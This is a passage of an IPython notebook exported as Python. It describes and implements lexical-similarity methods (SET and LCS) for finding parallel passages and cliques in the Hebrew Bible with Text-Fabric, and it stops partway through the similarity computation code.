# Historical linguistics & Biblical Hebrew. Steps Toward an Integrated Approach. # *Ancient Near East Monographs, Number9*. SBL Press Atlanta. 2014. # [PDF Open access available](https://www.google.nl/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=0CCgQFjAB&url=http%3A%2F%2Fwww.sbl-site.org%2Fassets%2Fpdfs%2Fpubs%2F9781628370461_OA.pdf&ei=2QSdVf-vAYSGzAPArJeYCg&usg=AFQjCNFA3TymYlsebQ0MwXq2FmJCSHNUtg&sig2=LaXuAC5k3V7fSXC6ZVx05w&bvm=bv.96952980,d.bGQ) # <img align="right" width="50%" src="parallel.png"/> # # ## 0.3 Open Source # This is an IPython notebook. # It contains a working program to carry out the computations needed to obtain the results reported here. # # You can download this notebook and run it on your computer, provided you have # [Text-Fabric](https://github.com/Dans-labs/text-fabric) installed. # # It is a pity that we cannot compare our results with the Accordance resource mentioned above, # since that resource has not been published in an accessible manner. # We also do not have the information how this resource has been constructed on the basis of the raw data. # In contrast with that, we present our results in a completely reproducible manner. # This notebook itself can serve as the method of replication, # provided you have obtained the necessary resources. # See [sources](https://github.com/ETCBC/shebanq/wiki/Sources), which are all Open Access. # # ## 0.4 What are parallel passages? # The notion of *parallel passage* is not a simple, straightforward one. # There are parallels on the basis of lexical content in the passages on the one hand, # but on the other hand there are also correspondences in certain syntactical structures, # or even in similarities in text structure. # # In this notebook we do select a straightforward notion of parallel, based on lexical content only. # We investigate two measures of similarity, one that ignores word order completely, # and one that takes word order into account. # # Two kinds of short-comings of this approach must be mentioned: # # 1. We will not find parallels based on non-lexical criteria (unless they are also lexical parallels) # 1. We will find too many parallels: certain short sentences (and he said), or formula like passages (and the word of God came to Moses) occur so often that they have a more subtle bearing on whether there is a common text history. # # For a more full treatment of parallel passages, see # # **Wido Th. van Peursen and Eep Talstra**: # Computer-Assisted Analysis of Parallel Texts in the Bible - # The Case of 2 Kings xviii-xix and its Parallels in Isaiah and Chronicles. # *Vetus Testamentum* 57, pp. 45-72. # 2007, Brill, Leiden. # # Note that our method fails to identify any parallels with Chronica_II 32. # Van Peursen and Talstra state about this chapter and 2 Kings 18: # # > These chapters differ so much, that it is sometimes impossible to establish # which verses should be considered parallel. # # In this notebook we produce a set of *cliques*, # a clique being a set of passages that are *quite* similar, based on lexical information. # # # ## 0.5 Authors # This notebook is by Dirk Roorda and owes a lot to discussions with Martijn Naaijer. # # [Dirk Roorda](mailto:dirk.roorda@dans.knaw.nl) while discussing ideas with # [Martijn Naaijer](mailto:m.naaijer@vu.nl). # # # ## 0.6 Status # # * **modified: 2017-09-28** Is now part of a pipeline for transferring data from the ETCBC to Text-Fabric. # * **modified: 2016-03-03** Added experiments based on chapter chunks and lower similarities. # # 165 experiments have been carried out, of which 18 with promising results. # All results can be easily inspected, just by clicking in your browser. # One of the experiments has been chosen as the basis for # [crossref](https://shebanq.ancient-data.org/hebrew/note?version=4b&id=Mnxjcm9zc3JlZg__&tp=txt_tb1&nget=v) # annotations in SHEBANQ. # # # 1. Results # # Click in a green cell to see interesting results. The numbers in the cell indicate # # * the number of passages that have a variant elsewhere # * the number of *cliques* they form (cliques are sets of similar passages) # * the number of passages in the biggest clique # # Below the results is an account of the method that we used, followed by the actual code to produce these results. # # Pipeline # See [operation](https://github.com/ETCBC/pipeline/blob/master/README.md#operation) # for how to run this script in the pipeline. # # The pipeline comes in action in Section [6a](#6a) below: TF features. # # Caveat # # This notebook makes use of a new feature of text-fabric, first present in 2.3.15. # Make sure to upgrade first. # # ``` # sudo -H pip3 install --upgrade text-fabric # ``` # In[1]: import sys import os import re import collections import pickle import math import difflib import yaml from difflib import SequenceMatcher from IPython.display import HTML import matplotlib.pyplot as plt from tf.core.helpers import formatMeta # pip3 install python-Levenshtein # In[2]: from Levenshtein import ratio # In[3]: import utils from tf.fabric import Fabric # In[4]: get_ipython().run_line_magic("load_ext", "autoreload") # noqa F821 get_ipython().run_line_magic("autoreload", "2") # noqa F821 get_ipython().run_line_magic("matplotlib", "inline") # noqa F821 # In[2]: # In[5]: if "SCRIPT" not in locals(): # SCRIPT = False SCRIPT = False FORCE = True FORCE_MATRIX = False LANG_FEATURE = "languageISO" OCC_FEATURE = "g_cons" LEX_FEATURE = "lex" TEXT_FEATURE = "g_word_utf8" TRAILER_FEATURE = "trailer_utf8" CORE_NAME = "bhsa" NAME = "parallels" VERSION = "2021" # In[6]: def stop(good=False): if SCRIPT: sys.exit(0 if good else 1) # In[3]: # In[7]: # run this cell after all other cells if False and not SCRIPT: HTML(other_exps) # # 2. Experiments # # We have conducted 165 experiments, all corresponding to a specific choice of parameters. # Every experiment is an attempt to identify variants and collect them in *cliques*. # # The table gives an overview of the experiments conducted. # # Every *row* corresponds to a particular way of chunking and a method of measuring the similarity. # # There are *columns* for each similarity *threshold* that we have tried. # The idea is that chunks are similar if their similarity is above the threshold. # # The outcomes of one experiment have been added to SHEBANQ as the note set # [crossref](https://shebanq.ancient-data.org/hebrew/note?version=4b&id=Mnxjcm9zc3JlZg__&tp=txt_tb1&nget=v). # The experiment chosen for this is currently # # * *chunking*: **object verse** # * *similarity method*: **SET** # * *similarity threshold*: **65** # # # ## 2.1 Assessing the outcomes # # Not all experiments lead to useful results. # We have indicated the value of a result by a color coding, based on objective characteristics, # such as the number of parallel passages, the number of cliques, the size of the greatest clique, and the way of chunking. # These numbers are shown in the cells. # # ### 2.1.1 Assessment criteria # # If the method is based on *fixed* chunks, we deprecated the method and the results. # Because two perfectly similar verses could be missed if a 100-word wide window that shifts over the text aligns differently with both verses, which will usually be the case. # # Otherwise, we consider the *ll*, the length of the longest clique, and *nc*, the number of cliques. # We set three quality parameters: # * `REC_CLIQUE_RATIO` = 5 : recommended clique ratio # * `DUB_CLIQUE_RATIO` = 15 : dubious clique ratio # * `DEP_CLIQUE_RATIO` = 25 : deprecated clique ratio # # where the *clique ratio* is $100 (ll/nc)$, # i.e. the length of the longest clique divided by the number of cliques as percentage. # # An experiment is *recommended* if its clique ratio is between the recommended and dubious clique ratios. # # It is *dubious* if its clique ratio is between the dubious and deprecated clique ratios. # # It is *deprecated* if its clique ratio is above the deprecated clique ratio. # # # 2.2 Inspecting results # If you click on the hyperlink in the cell, you are taken to a page that gives you # all the details of the results: # # 1. A link to a file with all *cliques* (which are the sets of similar passages) # 1. A list of links to chapter-by-chapter diff files (for cliques with just two members), and only for # experiments with outcomes that are labeled as *promising* or *unassessed quality* or *mixed results*. # # To get into the variants quickly, inspect the list (2) and click through # to see the actual variant material in chapter context. # # Not all variants occur here, so continue with (1) to see the remaining cliques. # # Sometimes in (2) a chapter diff file does not indicate clearly the relevant common part of both chapters. # In that case you have to consult the big list (1) # # All these results can be downloaded from the # [SHEBANQ github repo](https://github.com/ETCBC/shebanq/tree/master/static/docs/tools/parallel/files) # After downloading the whole directory, open ``experiments.html`` in your browser. # # 3. Method # # Here we discuss the method we used to arrive at a list of parallel passages # in the Masoretic Text (MT) of the Hebrew Bible. # # ## 3.1 Similarity # # We have to find passages in the MT that are *similar*. # Therefore we *chunk* the text in some way, and then compute the similarities between pairs of chunks. # # There are many ways to define and compute similarity between texts. # Here, we have tried two methods ``SET`` and ``LCS``. # Both methods define similarity as the fraction of common material with respect to the total material. # # ### 3.1.1 SET # # The ``SET`` method reduces textual chunks to *sets* of *lexemes*. # This method abstracts from the order and number of occurrences of words in chunks. # # We use as measure for the similarity of chunks $C_1$ and $C_2$ (taken as sets): # # $$ s_{\rm set}(C_1, C_2) = {\vert C_1 \cap C_2\vert \over \vert C_1 \cup C_2 \vert} $$ # # where $\vert X \vert$ is the number of elements in set $X$. # # ### 3.1.2 LCS # # The ``LCS`` method is less reductive: chunks are *strings* of *lexemes*, # so the order and number of occurrences of words is retained. # # We use as measure for the similarity of chunks $C_1$ and $C_2$ (taken as strings): # # $$ s_{\rm lcs}(C_1, C_2) = {\vert {\rm LCS}(C_1,C_2)\vert \over \vert C_1\vert + \vert C_2 \vert - # \vert {\rm LCS}(C_1,C_2)\vert} $$ # # where ${\rm LCS}(C_1, C_2)$ is the # [longest common subsequence](https://en.wikipedia.org/wiki/Longest_common_subsequence_problem) # of $C_1$ and $C_2$ and # $\vert X\vert$ is the length of sequence $X$. # # It remains to be seen whether we need the extra sophistication of ``LCS``. # The risk is that ``LCS`` could fail to spot related passages when there is a large amount of transposition going on. # The results should have the last word. # # We need to compute the LCS efficiently, and for this we used the python ``Levenshtein`` module: # # ``pip install python-Levenshtein`` # # whose documentation is # [here](http://www.coli.uni-saarland.de/courses/LT1/2011/slides/Python-Levenshtein.html). # # ## 3.2 Performance # # Similarity computation is the part where the heavy lifting occurs. # It is basically quadratic in the number of chunks, so if you have verses as chunks (~ 23,000), # you need to do ~ 270,000,000 similarity computations, and if you use sentences (~ 64,000), # you need to do ~ 2,000,000,000 ones! # The computation of a single similarity should be *really* fast. # # Besides that, we use two ways to economize: # # * after having computed a matrix for a specific set of parameter values, we save the matrix to disk; # new runs can load the matrix from disk in a matter of seconds; # * we do not store low similarity values in the matrix, low being < ``MATRIX_THRESHOLD``. # # The ``LCS`` method is more complicated. # We have tried the ``ratio`` method from the ``difflib`` package that is present in the standard python distribution. # This is unbearably slow for our purposes. # The ``ratio`` method in the ``Levenshtein`` package is much quicker. # # See the table for an indication of the amount of work to create the similarity matrix # and the performance per similarity method. # # The *matrix threshold* is the lower bound of similarities that are stored in the matrix. # If a pair of chunks has a lower similarity, no entry will be made in the matrix. # # The computing has been done on a Macbook Air (11", mid 2012, 1.7 GHz Intel Core i5, 8GB RAM). # # |chunk type |chunk size|similarity method|matrix threshold|# of comparisons|size of matrix (KB)|computing time (min)| # |:----------|---------:|----------------:|---------------:|---------------:|------------------:|-------------------:| # |fixed |100 |LCS |60 | 9,003,646| 7| ? | # |fixed |100 |SET |50 | 9,003,646| 7| ? | # |fixed |50 |LCS |60 | 36,197,286| 37| ? | # |fixed |50 |SET |50 | 36,197,286| 18| ? | # |fixed |20 |LCS |60 | 227,068,705| 2,400| ? | # |fixed |20 |SET |50 | 227,068,705| 113| ? | # |fixed |10 |LCS |60 | 909,020,841| 59,000| ? | # |fixed |10 |SET |50 | 909,020,841| 1,800| ? | # |object |verse |LCS |60 | 269,410,078| 2,300| 31| # |object |verse |SET |50 | 269,410,078| 509| 14| # |object |half_verse|LCS |60 | 1,016,396,241| 40,000| 50| # |object |half_verse|SET |50 | 1,016,396,241| 3,600| 41| # |object |sentence |LCS |60 | 2,055,975,750| 212,000| 68| # |object |sentence |SET |50 | 2,055,975,750| 82,000| 63| # # 4. Workflow # # ## 4.1 Chunking # # There are several ways to chunk the text: # # * fixed chunks of approximately ``CHUNK_SIZE`` words # * by object, such as verse, sentence and even chapter # # After chunking, we prepare the chunks for similarity measuring. # # ### 4.1.1 Fixed chunking # Fixed chunking is unnatural, but if the chunk size is small, it can yield fair results. # The results are somewhat difficult to inspect, because they generally do not respect constituent boundaries. # It is to be expected that fixed chunks in variant passages will be mutually *out of phase*, # meaning that the chunks involved in these passages are not aligned with each other. # So they will have a lower similarity than they could have if they were aligned. # This is a source of artificial noise in the outcome and/or missed cases. # # If the chunking respects "natural" boundaries in the text, there is far less misalignment. # # ### 4.1.2 Object chunking # We can also chunk by object, such as verse, half_verse or sentence. # # Chunking by *verse* is very much like chunking in fixed chunks of size 20, performance-wise. # # Chunking by *half_verse* is comparable to fixed chunks of size 10. # # Chunking by *sentence* will generate an enormous amount of # false positives, because there are very many very short sentences (down to 1-word) in the text. # Besides that, the performance overhead is huge. # # The *half_verses* seem to be a very interesting candidate. # They are smaller than verses, but there are less *degenerate cases* compared to with sentences. # From the table above it can be read that half verses require only half as many similarity computations as sentences. # # # ## 4.2 Preparing # # We prepare the chunks for the application of the chosen method of similarity computation (``SET`` or ``LCS``). # # In both cases we reduce the text to a sequence of transliterated consonantal *lexemes* without disambiguation. # In fact, we go one step further: we remove the consonants (aleph, wav, yod) that are often silent. # # For ``SET``, we represent each chunk as the set of its reduced lexemes. # # For ``LCS``, we represent each chunk as the string obtained by joining its reduced lexemes separated by white spaces. # # ## 4.3 Cliques # # After having computed a sufficient part of the similarity matrix, we set a value for ``SIMILARITY_THRESHOLD``. # All pairs of chunks having at least that similarity are deemed *interesting*. # # We organize the members of such pairs in *cliques*, groups of chunks of which each member is # similar (*similarity* > ``SIMILARITY_THRESHOLD``) to at least one other member. # # We start with no cliques and walk through the pairs whose similarity is above ``SIMILARITY_THRESHOLD``, # and try to put each member into a clique. # # If there is not yet a clique, we make the member in question into a new singleton clique. # # If there are cliques, we find the cliques that have a member similar to the member in question. # If we find several, we merge them all into one clique. # # If there is no such clique, we put the member in a new singleton clique. # # NB: Cliques may *drift*, meaning that they contain members that are completely different from each other. # They are in the same clique, because there is a path of pairwise similar members leading from the one chunk to the other. # # ### 4.3.1 Organizing the cliques # In order to handle cases where there are many corresponding verses in corresponding chapters, we produce # chapter-by-chapter diffs in the following way. # # We make a list of all chapters that are involved in cliques. # This yields a list of chapter cliques. # For all *binary* chapters cliques, we generate a colorful diff rendering (as HTML) for the complete two chapters. # # We only do this for *promising* experiments. # # ### 4.3.2 Evaluating clique sets # # Not all clique sets are equally worth while. # For example, if we set the ``SIMILARITY_THRESHOLD`` too low, we might get one gigantic clique, especially # in combination with a fine-grained chunking. In other words: we suffer from *clique drifting*. # # We detect clique drifting by looking at the size of the largest clique. # If that is large compared to the total number of chunks, we deem the results unsatisfactory. # # On the other hand, when the ``SIMILARITY_THRESHOLD`` is too high, you might miss a lot of correspondences, # especially when chunks are large, or when we have fixed-size chunks that are out of phase. # # We deem the results of experiments based on a partitioning into fixed length chunks as unsatisfactory, although it # might be interesting to inspect what exactly the damage is. # # At the moment, we have not yet analyzed the relative merits of the similarity methods ``SET`` and ``LCS``. # # 5. Implementation # # # The rest is code. From here we fire up the engines and start computing. # In[8]: PICKLE_PROTOCOL = 3 # # Setting up the context: source file and target directories # # The conversion is executed in an environment of directories, so that sources, temp files and # results are in convenient places and do not have to be shifted around. # In[5]: # In[9]: repoBase = os.path.expanduser("~/github/etcbc") coreRepo = "{}/{}".format(repoBase, CORE_NAME) thisRepo = "{}/{}".format(repoBase, NAME) # In[10]: coreTf = "{}/tf/{}".format(coreRepo, VERSION) # In[11]: allTemp = "{}/_temp".format(thisRepo) thisTemp = "{}/_temp/{}".format(thisRepo, VERSION) thisTempTf = "{}/tf".format(thisTemp) # In[12]: thisTf = "{}/tf/{}".format(thisRepo, VERSION) thisNotes = "{}/shebanq/{}".format(thisRepo, VERSION) # In[6]: # In[13]: notesFile = "crossrefNotes.csv" if not os.path.exists(thisNotes): os.makedirs(thisNotes) # # Test # # Check whether this conversion is needed in the first place. # Only when run as a script. # In[7]: # In[14]: if SCRIPT: (good, work) = utils.mustRun( None, "{}/.tf/{}.tfx".format(thisTf, "crossref"), force=FORCE ) if not good: stop(good=False) if not work: stop(good=True) # ## 5.1 Loading the feature data # # We load the features we need from the BHSA core database. # In[8]: # In[15]: utils.caption(4, "Load the existing TF dataset") TF = Fabric(locations=coreTf, modules=[""]) # In[9]: # In[16]: api = TF.load( """ otype {} {} {} book chapter verse number """.format( LEX_FEATURE, TEXT_FEATURE, TRAILER_FEATURE, ) ) api.makeAvailableIn(globals()) # ## 5.2 Configuration # # Here are the parameters on which the results crucially depend. # # There are also parameters that control the reporting of the results, such as file locations. # In[10]: # In[17]: # chunking CHUNK_LABELS = {True: "fixed", False: "object"} CHUNK_LBS = {True: "F", False: "O"} CHUNK_SIZES = (100, 50, 20, 10) CHUNK_OBJECTS = ("chapter", "verse", "half_verse", "sentence") # In[18]: # preparing EXCLUDED_CONS = r"[>WJ=/\[]" # weed out weak consonants EXCLUDED_PAT = re.compile(EXCLUDED_CONS) # In[19]: # similarity MATRIX_THRESHOLD = 50 SIM_METHODS = ("SET", "LCS") SIMILARITIES = (100, 95, 90, 85, 80, 75, 70, 65, 60, 55, 50, 45, 40, 35, 30) # In[20]: # printing DEP_CLIQUE_RATIO = 25 DUB_CLIQUE_RATIO = 15 REC_CLIQUE_RATIO = 5 LARGE_CLIQUE_SIZE = 50 CLIQUES_PER_FILE = 50 # In[21]: # assessing results VALUE_LABELS = dict( mis="no results available", rec="promising results: recommended", dep="messy results: deprecated", dub="mixed quality: take care", out="method deprecated", nor="unassessed quality: inspection needed", lr="this experiment is the last one run", ) # note that the TF_TABLE and LOCAL_BASE_COMP are deliberately # located in the version independent # part of the tempdir. # Here the results of expensive calculations are stored, # to be used by all versions # In[22]: # crossrefs for TF TF_TABLE = "{}/parallelTable.tsv".format(allTemp) # In[23]: # crossrefs for SHEBANQ SHEBANQ_MATRIX = (False, "verse", "SET") SHEBANQ_SIMILARITY = 65 SHEBANQ_TOOL = "parallel" CROSSREF_STATUS = "!" CROSSREF_KEYWORD = "crossref" # In[24]: # progress indication VERBOSE = False MEGA = 1000000 KILO = 1000 SIMILARITY_PROGRESS = 5 * MEGA CLIQUES_PROGRESS = 1 * KILO # In[25]: # locations and hyperlinks LOCAL_BASE_COMP = "{}/calculus".format(allTemp) LOCAL_BASE_OUTP = "files" EXPERIMENT_DIR = "experiments" EXPERIMENT_FILE = "experiments" EXPERIMENT_PATH = "{}/{}.txt".format(LOCAL_BASE_OUTP, EXPERIMENT_FILE) EXPERIMENT_HTML = "{}/{}.html".format(LOCAL_BASE_OUTP, EXPERIMENT_FILE) NOTES_FILE = "crossref" NOTES_PATH = "{}/{}.csv".format(LOCAL_BASE_OUTP, NOTES_FILE) STORED_CLIQUE_DIR = "stored/cliques" STORED_MATRIX_DIR = "stored/matrices" STORED_CHUNK_DIR = "stored/chunks" CHAPTER_DIR = "chapters" CROSSREF_DB_FILE = "crossrefdb.csv" CROSSREF_DB_PATH = "{}/{}".format(LOCAL_BASE_OUTP, CROSSREF_DB_FILE) # ## 5.3 Experiment settings # # For each experiment we have to adapt the configuration settings to the parameters that define the experiment. # In[11]: # In[26]: def reset_params(): global CHUNK_FIXED, CHUNK_SIZE, CHUNK_OBJECT, CHUNK_LB, CHUNK_DESC global SIMILARITY_METHOD, SIMILARITY_THRESHOLD, MATRIX_THRESHOLD global meta meta = collections.OrderedDict() # chunking CHUNK_FIXED = None # kind of chunking: fixed size or by object CHUNK_SIZE = None # only relevant for CHUNK_FIXED = True CHUNK_OBJECT = ( None # only relevant for CHUNK_FIXED = False; see CHUNK_OBJECTS in next cell ) CHUNK_LB = None # computed from CHUNK_FIXED, CHUNK_SIZE, CHUNK_OBJ CHUNK_DESC = None # computed from CHUNK_FIXED, CHUNK_SIZE, CHUNK_OBJ # similarity MATRIX_THRESHOLD = ( None # minimal similarity used to fill the matrix of similarities ) SIMILARITY_METHOD = None # see SIM_METHODS in next cell SIMILARITY_THRESHOLD = ( None # minimal similarity used to put elements together in cliques ) meta = collections.OrderedDict() # In[27]: def set_matrix_threshold(sim_m=None, chunk_o=None): global MATRIX_THRESHOLD the_sim_m = SIMILARITY_METHOD if sim_m is None else sim_m the_chunk_o = CHUNK_OBJECT if chunk_o is None else chunk_o MATRIX_THRESHOLD = 50 if the_sim_m == "SET" else 60 if the_sim_m == "SET": if the_chunk_o == "chapter": MATRIX_THRESHOLD = 30 else: MATRIX_THRESHOLD = 50 else: if the_chunk_o == "chapter": MATRIX_THRESHOLD = 55 else: MATRIX_THRESHOLD = 60 # In[28]: def do_params_chunk(chunk_f, chunk_i): global CHUNK_FIXED, CHUNK_SIZE, CHUNK_OBJECT, CHUNK_LB, CHUNK_DESC do_chunk = False if ( chunk_f != CHUNK_FIXED or (chunk_f and chunk_i != CHUNK_SIZE) or (not chunk_f and chunk_i != CHUNK_OBJECT) ): do_chunk = True CHUNK_FIXED = chunk_f if chunk_f: CHUNK_SIZE = chunk_i else: CHUNK_OBJECT = chunk_i CHUNK_LB = CHUNK_LBS[CHUNK_FIXED] CHUNK_DESC = CHUNK_SIZE if CHUNK_FIXED else CHUNK_OBJECT for p in ( "{}/{}".format(LOCAL_BASE_OUTP, EXPERIMENT_DIR), "{}/{}".format(LOCAL_BASE_COMP, STORED_CHUNK_DIR), ): if not os.path.exists(p): os.makedirs(p) return do_chunk # In[29]: def do_params(chunk_f, chunk_i, sim_m, sim_thr): global CHUNK_FIXED, CHUNK_SIZE, CHUNK_OBJECT, CHUNK_LB, CHUNK_DESC global SIMILARITY_METHOD, SIMILARITY_THRESHOLD, MATRIX_THRESHOLD global meta do_chunk = False do_prep = False do_sim = False do_clique = False meta = collections.OrderedDict() if ( chunk_f != CHUNK_FIXED or (chunk_f and chunk_i != CHUNK_SIZE) or (not chunk_f and chunk_i != CHUNK_OBJECT) ): do_chunk = True do_prep = True do_sim = True do_clique = True CHUNK_FIXED = chunk_f if chunk_f: CHUNK_SIZE = chunk_i else: CHUNK_OBJECT = chunk_i if sim_m != SIMILARITY_METHOD: do_prep = True do_sim = True do_clique = True SIMILARITY_METHOD = sim_m if sim_thr != SIMILARITY_THRESHOLD: do_clique = True SIMILARITY_THRESHOLD = sim_thr set_matrix_threshold() if SIMILARITY_THRESHOLD < MATRIX_THRESHOLD: return (False, False, False, False, True) CHUNK_LB = CHUNK_LBS[CHUNK_FIXED] CHUNK_DESC = CHUNK_SIZE if CHUNK_FIXED else CHUNK_OBJECT meta["CHUNK TYPE"] = ( "FIXED {}".format(CHUNK_SIZE) if CHUNK_FIXED else "OBJECT {}".format(CHUNK_OBJECT) ) meta["MATRIX THRESHOLD"] = MATRIX_THRESHOLD meta["SIMILARITY METHOD"] = SIMILARITY_METHOD meta["SIMILARITY THRESHOLD"] = SIMILARITY_THRESHOLD for p in ( "{}/{}".format(LOCAL_BASE_OUTP, EXPERIMENT_DIR), "{}/{}".format(LOCAL_BASE_OUTP, CHAPTER_DIR), "{}/{}".format(LOCAL_BASE_COMP, STORED_CLIQUE_DIR), "{}/{}".format(LOCAL_BASE_COMP, STORED_MATRIX_DIR), "{}/{}".format(LOCAL_BASE_COMP, STORED_CHUNK_DIR), ): if not os.path.exists(p): os.makedirs(p) return (do_chunk, do_prep, do_sim, do_clique, False) # In[30]: reset_params() # ## 5.4 Chunking # # We divide the text into chunks to be compared. The result is ``chunks``, # which is a list of lists. # Every chunk is a list of word nodes. # In[12]: # In[31]: def chunking(do_chunk): global chunks, book_rank if not do_chunk: TF.info( "CHUNKING ({} {}): already chunked into {} chunks".format( CHUNK_LB, CHUNK_DESC, len(chunks) ) ) meta["# CHUNKS"] = len(chunks) return chunk_path = "{}/{}/chunk_{}_{}".format( LOCAL_BASE_COMP, STORED_CHUNK_DIR, CHUNK_LB, CHUNK_DESC, ) if os.path.exists(chunk_path): with open(chunk_path, "rb") as f: chunks = pickle.load(f) TF.info( "CHUNKING ({} {}): Loaded: {:>5} chunks".format( CHUNK_LB, CHUNK_DESC, len(chunks), ) ) else: TF.info("CHUNKING ({} {})".format(CHUNK_LB, CHUNK_DESC)) chunks = [] book_rank = {} for b in F.otype.s("book"): book_name = F.book.v(b) book_rank[book_name] = b words = L.d(b, otype="word") nwords = len(words) if CHUNK_FIXED: nchunks = nwords // CHUNK_SIZE if nchunks == 0: nchunks = 1 common_incr = nwords special_incr = 0 else: rem = nwords % CHUNK_SIZE common_incr = rem // nchunks special_incr = rem % nchunks word_in_chunk = -1 cur_chunk = -1 these_chunks = [] for w in words: word_in_chunk += 1 if word_in_chunk == 0 or ( word_in_chunk >= CHUNK_SIZE + common_incr + (1 if cur_chunk < special_incr else 0) ): word_in_chunk = 0 these_chunks.append([]) cur_chunk += 1 these_chunks[-1].append(w) else: these_chunks = [ L.d(c, otype="word") for c in L.d(b, otype=CHUNK_OBJECT) ] chunks.extend(these_chunks) chunkvolume = sum(len(c) for c in these_chunks) if VERBOSE: TF.info( "CHUNKING ({} {}): {:<20s} {:>5} words; {:>5} chunks; sizes {:>5} to {:>5}; {:>5}".format( CHUNK_LB, CHUNK_DESC, book_name, nwords, len(these_chunks), min(len(c) for c in these_chunks), max(len(c) for c in these_chunks), "OK" if chunkvolume == nwords else "ERROR", ) ) with open(chunk_path, "wb") as f: pickle.dump(chunks, f, protocol=PICKLE_PROTOCOL) TF.info("CHUNKING ({} {}): Made {} chunks".format(CHUNK_LB, CHUNK_DESC, len(chunks))) meta["# CHUNKS"] = len(chunks) # ## 5.5 Preparing # # In order to compute similarities between chunks, we have to compile each chunk into the information that really matters for the comparison. This is dependent on the chosen method of similarity computing. # # ### 5.5.1 Preparing for SET comparison # # We reduce words to their lexemes (dictionary entries) and from them we also remove the aleph, wav, and yods. # The lexeme feature also contains characters (`/ [ =`) to disambiguate homonyms. We also remove these. # If we end up with something empty, we skip it. # Eventually, we take the set of these reduced word lexemes, so that we effectively ignore order and multiplicity of words. In other words: the resulting similarity will be based on lexeme content. # # ### 5.5.2 Preparing for LCS comparison # # Again, we reduce words to their lexemes as for the SET preparation, and we do the same weeding of consonants and empty strings. But then we concatenate everything, separated by a space. So we preserve order and multiplicity. # In[13]: # In[32]: def preparing(do_prepare): global chunk_data if not do_prepare: TF.info( "PREPARING ({} {} {}): Already prepared".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD ) ) return TF.info("PREPARING ({} {} {})".format(CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD)) chunk_data = [] if SIMILARITY_METHOD == "SET": for c in chunks: words = ( EXCLUDED_PAT.sub("", Fs(LEX_FEATURE).v(w).replace("<", "O")) for w in c ) clean_words = (w for w in words if w != "") this_data = frozenset(clean_words) chunk_data.append(this_data) else: for c in chunks: words = ( EXCLUDED_PAT.sub("", Fs(LEX_FEATURE).v(w).replace("<", "O")) for w in c ) clean_words = (w for w in words if w != "") this_data = " ".join(clean_words) chunk_data.append(this_data) TF.info( "PREPARING ({} {} {}): Done {} chunks.".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, len(chunk_data) ) ) # ## 5.6 Similarity computation # # Here we implement our two ways of similarity computation. # Both need a massive amount of work, especially for experiments with many small chunks. # The similarities are stored in a ``matrix``, a data structure that stores a similarity number for each pair of chunk indexes. # Most pair of chunks will be dissimilar. In order to save space, we do not store similarities below a certain threshold. # We store matrices for re-use. # # ### 5.6.1 SET similarity # The core is an operation on the sets, associated with the chunks by the prepare step. We take the cardinality of the intersection divided by the cardinality of the union. # Intuitively, we compute the proportion of what two chunks have in common against their total material. # # In case the union is empty (both chunks have yielded an empty set), we deem the chunks not to be interesting as a parallel pair, and we set the similarity to 0. # # ### 5.6.2 LCS similarity # The core is the method `ratio()`, taken from the Levenshtein module. # Remember that the preparation step yielded a space separated string of lexemes, and these strings are compared on the basis of edit distance. # In[14]: # In[33]: def similarity_post(): nequals = len({x for x in chunk_dist if chunk_dist[x] >= 100}) cmin = min(chunk_dist.values()) if len(chunk_dist) else "!empty set!" cmax = max(chunk_dist.values()) if len(chunk_dist) else "!empty set!" meta["LOWEST AVAILABLE SIMILARITY"] = cmin meta["HIGHEST AVAILABLE SIMILARITY"] = cmax meta["# EQUAL COMPARISONS"] = nequals TF.info( "SIMILARITY ({} {} {} M>{}): similarities between {} and {}. {} are 100%".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, cmin, cmax, nequals, ) ) # In[34]: def similarity(do_sim): global chunk_dist total_chunks = len(chunks) total_distances = total_chunks * (total_chunks - 1) // 2 meta["# SIMILARITY COMPARISONS"] = total_distances SIMILARITY_PROGRESS = total_distances // 100 if SIMILARITY_PROGRESS >= MEGA: sim_unit = MEGA sim_lb = "M" else: sim_unit = KILO sim_lb = "K" if not do_sim: TF.info( "SIMILARITY ({} {} {} M>{}): Using {:>5} {} ({}) comparisons with {} entries in matrix".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, total_distances // sim_unit, sim_lb, total_distances, len(chunk_dist), ) ) meta["# STORED SIMILARITIES"] = len(chunk_dist) similarity_post() return matrix_path = "{}/{}/matrix_{}_{}_{}_{}".format( LOCAL_BASE_COMP, STORED_MATRIX_DIR, CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, ) if os.path.exists(matrix_path): with open(matrix_path, "rb") as f: chunk_dist = pickle.load(f) TF.info( "SIMILARITY ({} {} {} M>{}): Loaded: {:>5} {} ({}) comparisons with {} entries in matrix".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, total_distances // sim_unit, sim_lb, total_distances, len(chunk_dist), ) ) meta["# STORED SIMILARITIES"] = len(chunk_dist) similarity_post() return TF.info( "SIMILARITY ({} {} {} M>{}): Computing {:>5} {} ({}) comparisons and saving entries in matrix".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, total_distances // sim_unit, sim_lb, total_distances, ) ) chunk_dist = {} wc = 0 wt = 0 if SIMILARITY_METHOD == "SET": # method SET: all chunks have been reduced to sets, ratio between lengths of intersection and union for i in range(total_chunks): c_i = chunk_data[i] for j in range(i + 1, total_chunks): c_j = chunk_data[j] u = len(c_i | c_j) # HERE COMES THE SIMILARITY COMPUTATION d = 100 * len(c_i & c_j) / u if u != 0 else 0 # HERE WE STORE THE OUTCOME if d >= MATRIX_THRESHOLD: chunk_dist[(i, j)] = d wc += 1 wt += 1 if wc == SIMILARITY_PROGRESS: wc = 0 TF.info( "SIMILARITY ({} {} {} M>{}): Computed {:>5} {} comparisons and saved {} entries in matrix".format( CHUNK_LB, CHUNK_DESC, SIMILARITY_METHOD, MATRIX_THRESHOLD, wt // sim_unit, sim_lb, len(chunk_dist), ) ) elif SIMILARITY_METHOD == "LCS": # method LCS: chunks are sequence aligned, ratio between length of all common parts and total length for i in range(total_chunks): c_i = chunk_data[i] for j in range(i + 1, total_chunks): c_j = chunk_data[j] # HERE COMES THE SIMILARITY COMPUTATION d = 100 